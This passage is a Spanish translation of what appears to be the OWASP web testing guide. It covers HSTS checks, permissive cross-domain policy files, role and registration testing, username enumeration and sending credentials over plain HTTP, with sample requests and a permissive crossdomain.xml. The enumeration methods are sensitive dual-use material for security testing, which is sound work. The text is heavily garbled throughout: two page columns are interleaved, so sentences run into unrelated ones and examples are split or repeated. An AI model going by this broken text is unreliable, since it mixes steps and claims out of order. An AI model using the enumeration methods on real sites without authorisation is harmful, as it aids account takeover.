Pruebe el HTTP Strict Transport Security
(OTG-CONFIG-007)

89
Resumen
El encabezado HTTPS Strict Transport Security (HSTS) es un mecanismo Cómo probar

que tienen los sitios web para comunicarse con los navegadores web.
Todo el tráfico intercambiado con un dominio debe siempre ser enviado Probar la presencia del encabezado HSTS puede hacerse comprobando la
mediante https; esto ayudará a proteger la información de que se envie existencia de la Rúbrica HSTS en la respuesta del servidor en un proxy de
mediante peticiones no cifradas. intercepción, o usando curl como se indica a continuación:
Considerando la importancia de esta medida de seguridad, es importante $ curl -s -D- https://domain.com/ | grep Strict
verificar que el sitio web utilice este encabezado HTTP, para garantizar
que todos los datos viajan encriptados desde el navegador al servidor.
Resultado esperado:
La función HTTP Strict Transport Security (HSTS) permite a una Strict-Transport-Security: max-age=...
aplicación web informar al navegador, mediante el uso de un encabezado
de respuesta especial, que nunca debe establecer una conexión con los
servidores de dominio especificados mediante HTTP. En su lugar debe
Referencias
establecer automáticamente todas las solicitudes de conexión para
acceder al sitio a través de HTTPS.
• OWASP HTTP Strict Transport Security - owasp.org
• OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security -

http://www.youtube.com/watch?v=zEV3HOuM_Vw
El encabezado HTTP Strict Transport Security utiliza dos directivas:
• HSTS Specification: tools.ietf.org

• max-age: para indicar el número de segundos en el que el navegador debe
convertir automáticamente todas las solicitudes de HTTP a HTTPS.
• includeSubDomains: para indicar que todos los subdominios de la aplicación

web deben utilizar HTTPS.
Pruebe la Política de Dominio Cruzado RIA (OTG-CONFIG-008)
Resumen
Este es un ejemplo de la aplicación de la Rúbrica HSTS:
Aplicaciones Enriquecidas de Internet (RIA) han adoptado los archivos de
Strict-Transport-Security: max-age=60000; includeSubDomains
políticas de Adobe crossdomain.xml para permitir el acceso controlado de
dominio cruzado para consumo de datos y servicios, utilizando
tecnologías como Oracle Java, Silverlight y Adobe Flash. Por lo tanto, un
dominio puede conceder acceso remoto a sus servicios desde un dominio
El uso del encabezado por parte de las aplicaciones web debe revisarse
diferente. Sin embargo, a menudo los archivos de políticas que describen
para encontrar si podrían producirse los siguientes problemas de
las restricciones de acceso se configuran pobremente. Una configuración
seguridad:
pobre de los archivos de directivas permite ataques de Cross-site Request
Forgery (Falsificación de peticiones de sitios cruzados) y puede permitir
a terceros acceder a los datos sensibles para el usuario.
• Los atacantes olfateando el tráfico de red y accediendo a la información
transferida a través de un canal sin codificar.
• Los atacantes explotando un ataque de intermediario (man in the middle) ¿Cuáles son los archivos de directivas entre dominios?
debido al problema de aceptar certificados que no son de
Un archivo de políticas de dominios cruzados especifica los permisos que
confianza. un cliente web como Java, Adobe Flash, Adobe Reader, etc. utilizan para
acceder a datos entre dominios diferentes. Para Silverlight, Microsoft
• Los usuarios que entraron por error una dirección en el navegador, poniendo adoptó un subconjunto del crossdomain.xml de Adobe y, además, creó su
HTTP en lugar de HTTPS, o usuarios que hagan clic en un vínculo en una propio archivo de directivas entre dominios: clientaccesspolicy.xml.
aplicación web que indicó por error el protocolo HTTP.

90
<?xml version=”1.0”?>
Cada vez que un cliente web detecta que un recurso tiene que ser
<!DOCTYPE cross-domain-policy SYSTEM
solicitado a otro dominio, primero buscará un archivo de políticas en el
dominio de destino para determinar si puede realizar peticiones de
“http://www.adobe.com/xml/dtds/cross-domain-policy.dtd”>
dominio cruzado, incluyendo encabezados, y si se permiten los enlaces
basados en tomas de conexión (socket-based connections) .
<cross-domain-policy>
<site-control permitted-cross-domain-policies=”all”/>
Los archivos maestros de políticas se encuentran en la raíz del dominio. <allow-access-from domain=”*” secure=”false”/>
Un cliente puede recibir instrucciones para cargar un archivo de políticas
diferentes, pero siempre comprobará el archivo maestro de política <allow-http-request-headers-from domain=”*” headers=”*”
primero, para asegurarse de que el archivo maestro de políticas permite secure=”false”/>
el archivo de políticas solicitado.
</cross-domain-policy>
Crossdomain.xml vs. Clientaccesspolicy.xml
La mayoría de las aplicaciones RIA soportan crossdomain.xml. Sin ¿Cómo pueden los archivos de políticas de dominios cruzados ser
embargo, en el caso de Silverlight, solo le está permitido funcionar si forzados?
crossdomain.xml especifica que el acceso se permite desde cualquier
dominio. Para un control más detallado con Silverlight, debe usarse • Políticas de dominios cruzados excesivamente permisivas.
clientaccesspolicy.xml.
• Que generan respuestas del servidor que pueden ser tratadas como
archivos de políticas de dominios cruzados.
Los archivos de políticas conceden varios tipos de permisos: • Que usan la funcionalidad de carga de archivos para subirlos y tratarlos
como archivos de políticas de dominios cruzados.
• Archivos de políticas aceptados (Los archivos maestros de políticas de

archivos pueden deshabilitar o restringir archivos de políticas específicas) Impacto del abuso del acceso de dominios cruzados
• Permisos de tomas de conexión • Derrotar las protecciones CSRF.
• Permisos de encabezados • Leer datos restringidos o que estaban protegidos por políticas de origen
cruzado.
• Permisos de acceso HTTP/HTTPS
• Permitir el acceso basado en credenciales criptográficas

Cómo probar
Para probar las debilidades de los archivos de políticas RIA:

Un ejemplo de un archivo de políticas excesivamente permisivos:
Para probar la debilidad del archivo de políticas RIA, el evaluador debe
tratar de recuperar los archivos de las políticas crossdomain.xml y
clientaccesspolicy.xml de la raíz de la aplicación y de cada carpeta
encontrada.
Por ejemplo, si el URL de la aplicación es http://www.owasp.org, el

evaluador debe intentar descargar los archivos
http://www.owasp.org/crossdomain.xml and
http://www.owasp.org/clientaccesspolicy.xml.

91
• MSDN: “Making a Service Available Across Domain Boundaries”

msdn.microsoft.com
Después de recuperar todos los archivos de políticas, los permisos
permitidos deben medirse bajo el principio de privilegios mínimos. Las • MSDN: “Network Security Access Restrictions in Silverlight” -
solicitudes sólo deben provenir de los dominios, puertos o protocolos que msdn.microsoft.com
son necesarios. Deben evitarse las políticas excesivamente permisivas.
Políticas con "*" deben ser examinadas de cerca. • Stefan Esser: “Poking new holes with Flash Crossdomain Policy Files”
hardened-php.net
• Jeremiah Grossman: “Crossdomain.xml Invites Cross-site Mayhem”
<allow-access-from domain=”*” /> jeremiahgrossman.blogspot.com
</cross-domain-policy> • Google Doctype: “Introduction to Flash security “ - code.google.com
Ejemplo:
Pruebe las Definiciones de Roles (OTG-
IDENT-001)
<allow-access-from domain=”*” />
Resumen
</cross-domain-policy>
Es común en las empresas modernas definir funciones de sistema para la
gestión de usuarios y autorización de recursos del sistema. En la mayoría
de las implementaciones de sistema, se espera que existan al menos dos
Resultado esperado: funciones: los administradores y usuarios regulares. El primero
representa un papel que permite el acceso a la funcionalidad privilegiada
e información sensible; el segundo que representa un papel que permite
el acceso a información y funcionalidad del negocio regular. Los roles
• una lista de archivos de políticas encontrados. bien desarrollados deben estar alineados con los procesos de negocio que
están soportados por la aplicación.
• Una configuración débil en las políticas.
Es importante recordar que la autorización obligatoria no es la única

Herramientas manera de gestionar el acceso a los objetos del sistema. En entornos más
confiables, donde la confidencialidad no es crítica, controles más suaves
• Nikto
como el flujo de trabajo de aplicación y registro de auditoría pueden
cubrir los requisitos de integridad de los datos, mientras no restrinjan el
• OWASP Zed Attack Proxy Project
acceso del usuario a la funcionalidad o la creación de estructuras de roles
más complejas, que son difíciles de manejar.
• W3af
Referencias Es importante considerar el principio de "Ricitos de Oro" cuando

hablamos de la ingeniería de roles. Definirmuy pocos papeles y amplios
Libros Blancos papeles (exponiendo a los usuarios de esta manera al acceso de
funcionalidades que no requieren) es tan malo como muchos papeles o
• UCSD: “Analyzing the Crossdomain Policies of Flash Applications” - hechos muy ajustados a la medida de cada usuario ( y así restringir el
cseweb.ucsd.edu acceso de los usuarios a las funcionalidades que requieren).
• Adobe: “Cross-domain policy file specification” - adobe.com
• Adobe: “Cross-domain policy file usage recommendations for Flash Player” Pruebe los objetivos
- adobe.com
• Oracle: “Cross-Domain XML Support” - oracle.com

92
Valide los diferentes roles en el sistema, definidos dentro de la aplicación.

Defina y separe lo suficiente cada sistema y rol de negocio para gestionar
un acceso adecuado a la información y funcionalidad del sistema. Remediación
La remediación de los problemas puede tomar las siguientes formas:
• Ingeniería de roles
Cómo probar • Crear mapas de los roles del negocio a los roles del sistema
Con o sin ayuda de los desarrolladores del sistema o administradores, • Separación de funciones
desarrolle un rol versus la matriz de permisos. La matriz debe enumerar
todos los roles que pueden ser provisionados y explorar los permisos que
pueden aplicarse a los objetos, así como las restricciones. Si una matriz es
proporcionada con la aplicación, esta debe ser validada por el evaluador;
Pruebe el Proceso de Registro del Usuario
si no existe, el evaluador debe generar y determinar si la matriz satisface
las políticas de acceso deseado por la aplicación. (OTG-IDENT-002)
Resumen
Ejemplo Algunos sitios web ofrecen un proceso de registro del usuario, que
automatiza (o semi-automatiza) la creación del acceso al sistema para los
Un ejemplo real de definiciones de roles se puede encontrar en la usuarios. Los requisitos de identidad para el acceso varían desde
documentación de funciones de WordPress [1]. WordPress tiene seis identificación positiva a ninguna en absoluto, dependiendo de los
roles por defecto desde Super Administrador hasta Suscriptor. requisitos de seguridad del sistema. Muchas aplicaciones públicas
automatizan totalmente el registro y el proceso de provisionamiento
porque el tamaño de la base de usuarios hace que sea imposible
manejarla manualmente. Sin embargo, muchas aplicaciones corporativas
provisionan usuarios manualmente, por lo que este tipo de prueba puede
no ser aplicable.
[1] Verifique que los requisitos de identidad para registro de usuarios

estén alineados con los requerimientos de seguridad y negocio.
[2] Valide el proceso de registro.

Herramientas
Si bien el enfoque más exhaustivo y exacto para completar esta prueba es

llevarla a cabo manualmente, las herramientas de spidering[2] también
Cómo probar
son útiles. Inicie la sesión con cada rol en orden (no olvide excluir el
vínculo cerrar sesión desde la herramienta de spidering). Verifique que los requisitos de identidad para registro de usuarios estén
alineados con los requerimientos de seguridad y negocio:
Referencias
[1] ¿Cualquier persona puede registrarse para acceder?
[1] Role Engineering for Enterprise Security Management, E Coyne & J
Davis, 2007
[2] ¿Son validados por un ser humano antes de crear los registros, o se
conceden automáticamente si se cumplen los criterios?
[2] Role engineering and RBAC standards

93
[3] ¿Puede la misma persona o identidad registrarse varias veces?
[4] ¿Pueden registrarse usuarios para diferentes roles o permisos?
[5] ¿Qué documento de identidad se requiere para que un registro tenga

éxito?
[6] ¿Son las identidades registradas verificadas? Herramientas
Un proxy HTTP puede ser una herramienta útil para probar este control.
Validar el proceso de registro:
[1] ¿Puede la información de identidad ser fácilmente falsificada?
Referencias
[2] ¿Puede el intercambio de información durante el registro ser Diseño de registro de usuarios
manipulado?
Remediación
Ejemplo
Implemente una identificación y verificación de requisitos que
En el siguiente ejemplo de WordPress, el único requisito de identificación corresponden a los requisitos de seguridad de la información que las
es una dirección de correo electrónico accesible a la persona registrada. credenciales protegen.
Pruebe el Proceso de Creación de Cuentas

(OTG-IDENT-003)
Resumen
El aprovisionamiento de cuentas presenta una oportunidad para un

atacante de crear una cuenta válida sin la aplicación de una correcta
identificación y proceso de autorización.
Objetivos de la Prueba
En cambio, en el ejemplo de Google a continuación, la identificación de Verifique qué cuentas pueden aprovisionar otras cuentas y de qué tipo.
requisitos incluye nombre, fecha de nacimiento, país, número de teléfono
móvil, dirección de correo electrónico y respuesta CAPTCHA. Mientras
que sólo dos de estos pueden verificarse (dirección email y número de
móvil), los requisitos de identificación son más estrictos que en Cómo probar
WordPress.

94
Determine qué roles están a disposición de los usuarios y qué tipo de

cuentas pueden aprovisionar .
• ¿Existe alguna verificación, examen y autorización de las solicitudes de

aprovisionamiento?
• ¿Existe alguna verificación, examen y autorización de las solicitudes de

aprovisionamiento?
• ¿Puede un administrador aprovisionar a otros administradores o sólo usuarios?
• ¿Puede un administrador u otras cuentas crear cuentas de usuario con privilegios

mayores que los suyos?
Herramientas
• ¿Puede un administrador o usuario eliminar su cuenta? Aunque el enfoque más exhaustivo y exacto para completar esta prueba
es llevarla a cabo manualmente, las herramientas de proxy HTTP tambien
pueden ser útiles.
• ¿Cómo son gestionados los archivos o recursos propiedad del usuario eliminado?
¿Se eliminan? ¿Se transfiere el acceso?
Pruebas de enumeración de cuentas y

adivinanza de cuentas de usuario (OTG-
Ejemplo
IDENT-004)
En WordPress, sólo el nombre de usuario y correo electrónico son
necesarios para crear un usuario, como se muestra a continuación: Resumen
La visión de esta prueba es verificar si es posible reunir un conjunto de

nombres válidos de usuario interactuando con el mecanismo de
autenticación de la aplicación. Esta prueba será útil para las pruebas de
fuerza bruta, en las que el evaluador verifica si, dado un nombre de
usuario válido, es posible encontrar la contraseña correspondiente.
A menudo, las aplicaciones web revelan cuándo existe un nombre de

usuario en el sistema, ya sea como consecuencia de la mala configuración
o como una decisión de diseño. Por ejemplo, a veces, cuando se envían
credenciales equivocadas, recibimos un mensaje que indica que el
nombre de usuario está presente en el sistema o la contraseña
La eliminación de usuarios requiere que el administrador seleccione los
proporcionada es incorrecta. La información obtenida puede utilizarla un
usuarios a ser eliminados. Seleccione Eliminar del menú desplegable
atacante para obtener una lista de los usuarios en el sistema. Esta
(marcado en un círculo) y luego aplique esta acción. Al administrador se
información puede utilizarse para atacar la aplicación web, por ejemplo, a
le presenta entonces un cuadro de diálogo preguntando qué hacer con los
través de un ataque forzado o un ataque por defecto de nombre de
mensajes del usuario (borrar o transferir).
usuario y contraseña.

95
El evaluador debe interactuar con el mecanismo de autenticación de la El navegador debe mostrar un mensaje similar al siguiente:
aplicación para entender si, enviando peticiones en particular, se logra
que la aplicación responda de diferentes maneras. Este problema existe
porque la información de aplicación web o servidor web es diferente
cuando el usuario proporciona un nombre de usuario válido que cuando
usa uno no válido.
En algunos casos, se recibe un mensaje que revela si las credenciales

proporcionadas están equivocadas porque se utilizó un nombre de o algo así:
usuario no válido o una contraseña incorrecta. A veces, los evaluadores
pueden enumerar los usuarios existentes enviando un nombre de usuario
y una contraseña vacía.
Cómo probar
En una prueba de de caja negra, el evaluador no sabe nada acerca de la

aplicación, nombre de usuario, lógica de la aplicación, mensajes de error
en el registro de la página o posibilidades de recuperación de contraseña. contra cualquier mensaje que revela la existencia del usuario, por
Si la aplicación es vulnerable, el evaluador recibe un mensaje de ejemplo, un mensaje similar al siguiente:
respuesta que revela, directa o indirectamente, alguna información útil
para la enumeración de usuarios. Login for User foo: invalid password
Mensaje de respuesta HTTP
Usando WebScarab, note la información obtenida de este intento fallido

de autenticación (respuesta HTTP 200, longitud de la respuesta).
Pruebas de búsqueda de contraseñas y usuarios válidos
Pruebas para buscar un usuario no existente

Registre la respuesta del servidor cuando se envía una identificación de
usuario válido y una contraseña válida. Ahora, el evaluador debe intentar introducir un ID de usuario inválido y
una contraseña incorrecta y registrar la respuesta del servidor (el
evaluador debe estar seguro que el nombre de usuario no es válido en la
aplicación). Grabe el mensaje de error y la respuesta del servidor.
Resultado esperado:
Usando WebScarab, anote la información obtenida de esta autenticación

correcta (respuesta HTTP 200, longitud de la respuesta). Resultado esperado:
Si el evaluador ingresa un ID de usuario inexistente, puede recibir un

mensaje similar a:
Pruebas para un usuario válido con una contraseña incorrecta.
Ahora, el evaluador intentará introducir un usuario válido y una

contraseña incorrecta y grabará el mensaje de error generado por la
aplicación.
Resultado esperado:

96
o un mensaje como el siguiente:

http://www.foo.com/err.jsp?User=baduser&Error=0
Login failed for User foo: invalid Account
http://www.foo.com/err.jsp?User=gooduser&Error=2
Generalmente, la aplicación debe responder con el mismo mensaje de
error y la longitud a las distintas solicitudes incorrectas. Si las respuestas
no son iguales, el evaluador debe investigar y averiguar la clave que crea Como se ve arriba, cuando un evaluador proporciona un ID de usuario y
una diferencia entre las dos respuestas. Por ejemplo: una contraseña a la aplicación web, ven un mensaje que indica que se ha
producido un error en la URL. En el primer caso han proporcionado un ID
de usuario equivocado y una contraseña equivocada. En el segundo, un ID
de usuario correcto y una contraseña equivocada, así que pueden
• Solicitud del cliente: usuario válido/ contraseña inválida--> identificar un ID de usuario válido.
Respuesta del servidor: 'la contraseña no es correcta'
• Solicitud del cliente: : usuario inválido/ contraseña inválida --> -Sondeo de una URI
Respuesta del servidor: 'Usuario no reconocido' A veces un servidor web responde diferente si recibe una solicitud de un
directorio existente o no. Por ejemplo, en algunos portales, cada usuario
está asociado con un directorio. Si los evaluadores intentan acceder a un
directorio existente, ellos podrían recibir un error de servidor web.
Las respuestas anteriores permiten al evaluador entender con la primera
solicitud que tienen un nombre de usuario válido para interactuar con la Un error muy común que se recibe desde el servidor web es:
aplicación, solicitando un conjunto de posibles usuarios y observar la
respuesta.
403 Forbidden error code

Observando la segunda respuesta del servidor, el evaluador entiende, de
la misma manera, que no tiene un nombre de usuario válido. Así pueden
interactuar de igual forma y crear una lista de usuarios válidos mirando y
las respuestas del servidor.
404 Not found error code
Otras maneras de enumerar usuarios
Los evaluadores pueden enumerar usuarios de varias maneras, tales

como:
- Analizando el código de error recibido en las páginas de inicio de sesión
Algunas aplicaciones web liberan código de error específico o un mensaje

que podemos analizar.
Ejemplo
http://www.foo.com/account1 - we receive from web server: 403

- Analizando URL y redireccionamientos de URL
Forbidden
Por ejemplo:
http://www.foo.com/account2 - we receive from web server: 404
file Not Found

97
recibir "200 ok" con una imagen; en este caso, podemos suponer que
cuando recibimos la imagen específica el usuario no existe. Esta lógica
En el primer caso el usuario existe, pero el evaluador no puede ver la puede aplicarse a otra respuesta del servidor web; el truco es un buen
página análisis de los mensajes del servidor web y de la aplicación web.
web; en el segundo caso, en cambio, el usuario "account2" no existe. Adivinanza de usuarios

Recopilando esta información, los evaluadores pueden enumerar a los
En algunos casos, el ID de usuario se crea con políticas específicas de la
empresa o el administrador. Por ejemplo, podemos ver un usuario con un
ID de usuario creado en orden secuencial:
usuarios.
CN000100
CN000101
-Análisis de los títulos de la Página Web
….
Los evaluadores pueden recibir información útil del título de la página
web, donde pueden obtener un código de error específico o mensajes que A veces los usuarios son creados con un alias REALM y luego números
revelan si los problemas son del usuario o contraseña. secuenciales:
R1001 – user 001 for REALM1
Por ejemplo, si un usuario no puede autenticarse en una aplicación y R2001 – user 001 for REALM2
recibe una página web cuyo título es similar a:
Invalid user Para el ejemplo anterior, podemos crear secuencias de comandos de

carcaza (shell scripts) simples que componen usuarios y envían una
Invalid authentication solicitud con herramientas como wget para automatizar una consulta
web para discernir ID de usuarios válidos. Para crear una secuencia de
comandos también podemos usar Perl y Curl.
- Análisis de un mensaje recibido de una instalación de recuperación
Cuando utilizamos una instalación de recuperación (es decir, una función

de contraseña olvidada) una aplicación vulnerable puede devolver un Otras posibilidades son:
mensaje que revela si un nombre de usuario existe o no.
• ID de usuarios asociados con números de tarjetas de crédito o, en
general, números con un patrón.
Por ejemplo, un mensaje similar al siguiente: • ID de usuarios asociados con nombres reales, por ejemplo, si Freddie
Mercury tiene un ID de usuario de "fmercury", entonces usted podría
Usuario Inválido: e-mail address is not valid or the specified user was not found.
adivinar que Roger Taylor tiene el ID de usuario "rtaylor".
Usuario válido: Your password has been successfully sent to the email address you
registered with.
Una vez más, podemos intuir un nombre de usuario de la información
recibida de una consulta LDAP o de la recopilación de información de
Google, por ejemplo, de un dominio específico. Google puede ayudar a
encontrar los usuarios de un dominio a través de consultas específicas o a
través de secuencias de comandos de carcaza (shell scripts) simples o
- Mensaje de Error 404 amigable
herramientas.
Cuando solicitamos a un usuario dentro del directorio que no existe, no
siempre recibimos un código de error 404. Por el contrario, podemos

98
Atención: mediante la enumeración de cuentas de usuario, se arriesga a Asegúrese de que la aplicación devuelve mensajes de error genéricos,
bloquear las cuentas después de un número predefinido de intentos consistentes en respuesta a nombres de cuenta válidos, contraseñas u
fallidos (basado en las políticas de la aplicación). También, a veces, su otras credenciales de usuario, ingresados durante el proceso de registro.
dirección IP puede ser prohibida por reglas dinámicas en la aplicación
firewall o sistema de prevención de intrusión.
Asegúrese que las cuentas de pruebas del sistema y cuentas por defecto
se eliminen antes de lanzar el sistema a producción (o exponiéndola a
Pruebas de Caja Gris una red no confiable).
Pruebas a los mensajes de error de autenticación
Compruebe que la aplicación responde de la misma manera a cada

solicitud de un cliente que produce una autenticación fallida. Para este
problema, la prueba de Caja Negra y la de Caja Gris tienen el mismo
concepto, basado en el análisis de los mensajes o códigos de error
recibidos de la aplicación web.
Pruebe las políticas de nombre de usuario débiles o sin

Resultado esperado:
fuerza (OTG-IDENT-005)
La aplicación debe responder de la misma manera a cada intento fallido
de autenticación.
Resumen
Los nombres de usuario de cuentas están a menudo altamente

estructurados (por ejemplo, el nombre de la cuenta de Joe Bloggs es
Por ejemplo: jbloggs y el nombre de la cuenta de Fred Nurks es fnurks) y los nombres
de cuentas válidos pueden ser adivinados fácilmente.
Credentials submitted are not valid
Objetivos de la Prueba
Herramientas
Determine si una estructura de nombres de cuenta constante hace que la
• WebScarab: OWASP_WebScarab_Project aplicación sea vulnerable a la enumeración de la cuenta. Determine si los
mensajes de error de la aplicación permiten la enumeración de la cuenta.
• CURL: curl.haxx.se
• PERL: perl.org
Cómo probar
• Sun Java Access & Identity Manager users enumeration tool:
• Determine la estructura de nombres de cuentas.
aboutsecurity.net
• Evalúe la respuesta de la aplicación a nombres de cuentas válidos y no
válidos.
Referencias • Utilice diferentes respuestas a nombres de cuentas válidos y no válidos para

enumerar nombres de cuenta válidos.
• Marco Mella, Sun Java Access & Identity Manager Users enumeration:
aboutsecurity.net • Use diccionarios de nombre de cuenta para enumerar los nombres de cuenta
válidos.
• Username Enumeration Vulnerabilities: gnucitizen.org
Remediación
Remediación

99
Asegúrese que la aplicación devuelva mensajes de error genéricos

consistentes en respuesta a nombres de cuenta inválidos, contraseñas u
otras credenciales de usuario introducidas durante el proceso registro. En la actualidad, el ejemplo más común de este problema es la página de
registro en una aplicación web. El evaluador debe comprobar que las
credenciales del usuario se transmitan a través de un canal encriptado.
Para iniciar una sesión en un sitio web, el usuario generalmente tiene que
Pruebas de Autenticación llenar un formulario simple que transmite los datos insertados a la
aplicación web con el método POST. Lo que es menos evidente es que
Autenticación(Griego: αυθεντικός = verdadero o genuino, de estos datos se pueden transmitir mediante el protocolo HTTP, que
'authentes' = el autor) es el acto de establecer o confirmar algo (o alguien) transfiere los datos de
como auténtico, es decir, que las demandas hechas por o sobre la cosa son
verdaderas. Autenticar un objeto puede significar confirmar su
procedencia, mientras que la autenticación de una persona a menudo
consiste en verificar su identidad. La autenticación depende de uno o más una manera insegura, como texto transparente, o utilizando el protocolo
factores de autenticación. HTTPS, que cifra los datos durante la transmisión.
En seguridad informática, la autenticación es el proceso de intentar Para complicar más las cosas, existe la posibilidad de que el sitio tenga la
verificar la identidad digital del remitente de una comunicación. Un página de inicio accesible a través de HTTP (haciéndonos creer que la
ejemplo común de este proceso es el proceso de registro. Probar el transmisión es insegura), pero en realidad envía datos a través de HTTPS.
esquema de autenticación significa comprender cómo funciona el proceso Esta prueba se hace para asegurarse que un atacante no pueda recuperar
de autenticación y usar esa información para eludir el mecanismo de información sensible simplemente husmeando en la red con una
autenticación. herramienta de olfateo ( sniffer).
Pruebas del transporte de credenciales en un canal Cómo probar
encriptado (OTG-AUTHN-001) Pruebas de Caja Negra
Resumen En los siguientes ejemplos, usaremos WebScarab para capturar los

encabezados de los paquetes e inspeccionarlos. Puede utilizar cualquier
Probar el transporte de credenciales significa comprobar que los datos de proxy de web que usted prefiera.
autenticación del usuario se transfieren a través de un canal encriptado
para evitar ser interceptados por usuarios maliciosos. El análisis se centra
simplemente en tratar de entender si los datos viajan sin encriptar desde
el navegador web al servidor, o si la aplicación web toma las medidas de Ejemplo 1: Envío de datos con el método POST a través de HTTP
seguridad apropiadas al usar protocolos como HTTPS. El protocolo
HTTPS se construye sobre TLS/SSL para encriptar los datos que se Suponga que la página de registro presenta un formulario con los campos
transmiten y asegurar que el usuario es enviado hacia el sitio deseado. Usuario, Contraseña y el botón de Enviar para autentificar y dar acceso a
la aplicación. Si nos fijamos en las cabeceras de nuestra petición con
WebScarab, podemos conseguir algo como esto:
Claramente, el hecho de que el tráfico se encuentre cifrado no

necesariamente significa que es totalmente seguro. La seguridad depende
también del algoritmo utilizado y la robustez de las claves que la
aplicación está utilizando, pero no se abordará este tema en particular en
esta sección.
Para una discusión más detallada sobre las pruebas de seguridad de los
canales TLS/SSL, consulte el capítulo Probando SSL/TLS débiles. Aquí, el
evaluador simplemente tratará de entender si los datos que los usuarios
colocan en los formularios web para iniciar una sesión en un sitio web se
transmiten utilizando protocolos seguros que los protege de un atacante.

100
POST http://www.example.com/AuthenticationServlet HTTP/1.1 POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1
Host: www.example.com Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14)
Gecko/20080404 Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300 Keep-Alive: 300
Connection: keep-alive Connection: keep-alive
Referer: http://www.example.com/index.jsp Referer: https://www.example.com/cgi-bin/login.cgi
Cookie: Cookie: language=English;

JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdqn98CGlkP4jTvV
CGdyPkmn3S! Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded Content-length: 50
Content-length: 64
delegated_service=218&User=test&Pass=test&Submit=SUBMIT Podemos ver que se envía la petición a www.example.com:443/cgi-

bin/login.cgi mediante el protocolo HTTPS. Esto garantiza que nuestras
credenciales se envían mediante un canal encriptado y que las credenciales
no son legibles por un usuario malicioso que utilice un sniffer.
En este ejemplo, el evaluador puede entender que la solicitud POST envía
los datos a la página www.example.com/AuthenticationServlet usando
HTTP. Los datos de respuesta se transmiten sin cifrado y un usuario
malintencionado puede interceptar el usuario y la contraseña simplemente Ejemplo 3: Envío de datos con el método POST a través de HTTPS en
una página accesible a través de HTTP
al olfatear la red con una herramienta como Wireshark.
Ahora, imagine una página web accesible a través de HTTP y que sólo los
datos enviados desde el formulario de autenticación se transmiten a través
Ejemplo 2: Envío de datos con el método POST a través de HTTPS de HTTPS. Esta situación ocurre, por ejemplo, cuando estamos en un portal
de una gran empresa que ofrece diferente información y servicios que están
Supongamos que nuestra aplicación web utiliza el protocolo HTTPS para disponibles públicamente, sin identificación; pero el sitio también tiene una
cifrar los datos que estamos enviando (o por lo menos para la transmisión sección privada, accesible desde la página de inicio cuando los usuarios
de datos confidenciales, como credenciales). En este caso, cuando se inicia la inician una sesión; por lo que, al intentar iniciar la sesión, el encabezado de
aplicación web, el encabezado de la solicitud POST sería similar al siguiente: la solicitud se verá como el siguiente ejemplo:

101
POST https://www.example.com:443/login.do HTTP/1.1 GET https://www.example.com/success.html?user=test&pass=test

HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14)
Gecko/20080404 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1.14) Gecko/20080404
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Keep-Alive: 300
Referer: http://www.example.com/homepage.do
Referer: https://www.example.com/form.html
Cookie:
SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH0QNSJ3VQB If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT
6pLhjkW6F
If-None-Match: “43a01-5b-4868915f”
Content-Type: application/x-www-form-urlencoded
Content-length: 45
User=test&Pass=test&portal=ExamplePortal
Se puede ver que los datos se transfieren en texto claro en la URL y no en

Podemos ver que nuestra petición se dirige a el cuerpo de la petición como antes. Pero debemos considerar que
www.example.com:443/login.do usando HTTPS. Pero si echamos un SSL/TLS es un protocolo de nivel 5, un nivel inferior al HTTP, por lo que
vistazo al encabezado Referer (la página desde la que ingresamos), es el paquete entero de HTTP todavía está encriptado haciendo imposible la
www.example.com/homepage.do y es accesible a través de un HTTP lectura de la URL para un usuario malintencionado que utiliza un sniffer.
simple. Aunque estamos enviando datos a través de HTTPS, esta Sin embargo, como se dijo antes, no es una buena práctica utilizar el
implementación puede permitir ataques SSLStrip (un tipo de ataque de método GET para enviar datos a una aplicación web, ya que la
Hombre en Medio). información contenida en la URL se puede almacenar en muchos lugares
tales como registros de proxys y servidores web.
Ejemplo 4: Envío de datos con el método GET a través de HTTPS

Prueba Caja Gris
En este último ejemplo, supongamos que la aplicación transfiere datos
mediante el método GET. Este método nunca se debe utilizar en un Hable con los desarrolladores de la aplicación web y trate de entender si
formulario que transmite datos sensibles como nombre de usuario y son conscientes de las diferencias entre los protocolos HTTP y HTTPS y
contraseña, porque los datos se muestran en texto claro en la URL y esto por qué deben usar HTTPS para la transmisión de información sensible.
provoca todo un conjunto de temas de seguridad. Por ejemplo, la URL que Luego, revise con ellos si se utiliza HTTPS en cada petición sensible, como
se solicita se encuentra fácilmente disponible en los registros del servidor o las de registro en páginas, para evitar que usuarios no autorizados
en el historial del navegador, lo que hace que sus datos sensibles puedan ser intercepten los datos.
recuperados por personas no autorizadas. Este ejemplo es puramente
demostrativo, pero, en realidad, se recomienda enfáticamente utilizar mejor
el método POST.
Herramientas

102
• WebScarab • Aplicaciones con cuentas predeterminadas fijas incorporadas con un

usuario y contraseña predefinido.
• OWASP Zed Attack Proxy (ZAP)
• Aplicaciones que no obligan al usuario a cambiar las credenciales por
defecto después de la primera sesión.
Referencias
Libros Blancos
• HTTP/1.1: Security Considerations - w3.org Cómo probar
